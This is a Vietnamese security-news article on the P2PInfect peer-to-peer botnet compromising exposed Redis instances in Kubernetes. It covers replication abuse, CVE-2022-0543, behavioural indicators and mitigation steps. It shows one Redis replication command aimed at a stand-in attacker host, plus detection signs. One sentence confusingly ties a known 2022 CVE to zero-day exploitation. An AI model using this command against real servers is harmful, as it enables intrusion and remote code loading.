tin tức bảo mật mới cho thấy P2PInfect, một botnet viết bằng Rust, đang nhắm vào môi trường cloud theo cách có chủ đích hơn trước. Mã độc này hoạt động theo mô hình peer-to-peer, đã xuất hiện từ giữa năm 2023 và được ghi nhận khai thác các Redis instance để xâm nhập vào Kubernetes clusters.
Phân tích chiến dịch P2PInfect trong Kubernetes
Chiến dịch này cho thấy sự dịch chuyển từ các ca nhiễm máy chủ đơn lẻ sang việc thiết lập foothold bền vững bên trong hạ tầng cloud được quản trị. P2PInfect tập trung vào Redis, một kho dữ liệu in-memory được dùng phổ biến trong ứng dụng web và dịch vụ cloud.
Điểm đáng chú ý của mối đe dọa này là cách nó khai thác các cấu hình sai của Redis, đặc biệt là tính năng replication tích hợp sẵn. Khi một Redis node bị lạm dụng thành follower của máy chủ do kẻ tấn công kiểm soát, botnet có thể đưa node đó vào mesh network của mình.
Tham khảo báo cáo gốc của Fortinet tại: FortiGuard Labs.
Lỗ hổng CVE-2022-0543 và khả năng thực thi mã
P2PInfect cũng tận dụng CVE-2022-0543, một lỗ hổng CVE nghiêm trọng liên quan đến Lua sandbox escape trên Redis, với CVSS 10.0. Lỗi này cho phép remote code execution trên các Redis instance dễ bị ảnh hưởng.
Trong chuỗi tấn công, kẻ tấn công kết nối vào dịch vụ Redis đang lộ ra Internet, sau đó sử dụng lệnh SLAVEOF để biến node hợp lệ thành bản sao của máy chủ độc hại. Cơ chế này mở đường cho việc tải module từ hạ tầng của đối tượng tấn công và thực thi mã trong container.
SLAVEOF <attacker_host> <attacker_port>Do Redis chạy trong môi trường container và thường được tích hợp vào các workload quan trọng, một điểm cấu hình sai nhỏ có thể dẫn đến hệ thống bị xâm nhập trong toàn bộ cụm.
Cơ chế lan truyền và mesh peer-to-peer
Sau khi xâm nhập, host bị nhiễm bắt đầu giao tiếp với các peer khác trong mạng P2P. FortiGuard Labs ghi nhận từ tháng 11/2025 đến tháng 2/2026, các Redis host bị chiếm dụng đã mở kết nối outbound tới nhiều node bên ngoài.
Botnet dùng mạng này để phân phối payload, thu thập thông tin môi trường bị nhiễm và duy trì liên lạc mà không phụ thuộc vào một central command server. Kiến trúc phi tập trung này làm cho việc chặn hoặc vô hiệu hóa trở nên khó khăn hơn.
Ở giai đoạn này, node bị enrol vào mesh có xu hướng im lặng. Trạng thái dormant khiến phát hiện xâm nhập khó hơn, vì lưu lượng bất thường rất thấp và dễ hòa lẫn vào hoạt động của cluster.
Ảnh hưởng đối với hệ thống cloud
Tác động của chiến dịch không dừng ở một máy chủ bị nhiễm. Trong Kubernetes, một node bị kiểm soát có thể ảnh hưởng đến nhiều workload, nhất là khi cluster xử lý ứng dụng nghiệp vụ và dữ liệu nhạy cảm. Điều này làm tăng rủi ro bảo mật cho hạ tầng cloud dùng Redis hoặc các dịch vụ nội bộ không được giới hạn truy cập chặt chẽ.
Môi trường GKE hoặc các nền tảng managed tương tự đặc biệt dễ bị tác động nếu thiếu kiểm soát mạng giữa các pod. Trong bối cảnh đó, một Redis instance mở ra Internet có thể trở thành điểm khởi đầu cho xâm nhập trái phép kéo dài nhiều tháng.
IOC và dấu hiệu nhận biết
Dữ liệu được công bố không nêu đầy đủ IOC tĩnh theo dạng hash hay domain cố định. Tuy nhiên, một số chỉ dấu hành vi có thể dùng để phát hiện tấn công trong môi trường Kubernetes và Redis.
- Redis instance có thể truy cập từ Internet mà không có kiểm soát truy cập phù hợp.
- Xuất hiện lệnh SLAVEOF bất thường trên Redis.
- Node Redis phát sinh kết nối outbound tới nhiều địa chỉ peer bên ngoài.
- Container có hành vi im lặng kéo dài sau khi được “enroll” vào mesh.
- Lưu lượng nội bộ giữa pod với pod tăng bất thường nhưng không gắn với nhu cầu vận hành.
Chuỗi tấn công vào Redis trong Kubernetes
Chuỗi xâm nhập bắt đầu khi một Redis instance trong cluster có thể truy cập mà không có access control chặt chẽ. Kẻ tấn công kết nối đến dịch vụ này, dùng replication để đưa node hợp lệ vào trạng thái follower, sau đó thao túng quá trình nạp module để thực thi mã.
Nếu Redis chưa được vá hoặc vẫn còn phơi nhiễm với cảnh báo CVE liên quan đến CVE-2022-0543, rủi ro thực thi mã sẽ tăng đáng kể. Đây là lý do việc cập nhật bản vá và giới hạn replication trong môi trường production là bước bắt buộc.
Hành vi sau xâm nhập
FortiGuard Labs cho biết các phiên bản trước đó của botnet từng triển khai mã độc ransomware và cả cryptocurrency miner. Dù ở giai đoạn hiện tại node có vẻ ngủ yên, nó vẫn có thể nhận payload mới bất kỳ lúc nào.
Điều này khiến một node đã enrol vào P2P mesh trở thành mối đe dọa dài hạn. Trong thực tế, một hệ thống bị tấn công nhưng chưa có dấu hiệu phá hoại rõ ràng vẫn cần được cô lập để điều tra toàn diện.
Khuyến nghị giảm thiểu rủi ro
Biện pháp quan trọng nhất là không để Redis bị lộ trực tiếp ra Internet. Mọi Redis service cần nằm sau lớp kiểm soát truy cập, kèm network policy rõ ràng để giới hạn pod-to-pod communication trong cluster.
Việc rà soát các kết nối outbound không được phép cũng cần được thực hiện thường xuyên. Các công cụ runtime security có thể giúp phát hiện hành vi container bất thường, nhất là khi node chỉ âm thầm duy trì liên lạc với peer bên ngoài.
- Không public Redis trực tiếp ra Internet.
- Áp dụng network policies trong Kubernetes để giới hạn luồng nội bộ.
- Kiểm tra và vô hiệu hóa cấu hình replication nếu không cần thiết trong production.
- Giữ Redis ở trạng thái đã vá đầy đủ, đặc biệt với các lỗ hổng CVE đã được công bố.
- Giám sát outbound traffic để phát hiện các kết nối mesh bất thường.
- Sử dụng runtime security để nhận diện hành vi container lệch chuẩn.
Ghi nhận kỹ thuật từ FortiGuard Labs
Báo cáo của FortiGuard Labs mô tả một chuỗi tấn công đa giai đoạn, bắt đầu từ dịch vụ Redis bị lộ và kết thúc bằng một bot đã được enrol đầy đủ nhưng gần như không hoạt động. Đây là mẫu hành vi điển hình của một lỗ hổng zero-day hoặc một khai thác zero-day trong bối cảnh cloud nếu hệ thống không được cấu hình và cập nhật đúng cách.
Trong các môi trường Kubernetes có nhiều service cùng chạy, kiểu tin tức an ninh mạng này nhấn mạnh tầm quan trọng của việc quản lý surface tấn công, kiểm soát quyền truy cập dịch vụ, và theo dõi chặt chẽ mọi dấu hiệu phát hiện xâm nhập liên quan đến Redis và các container chạy quanh nó.
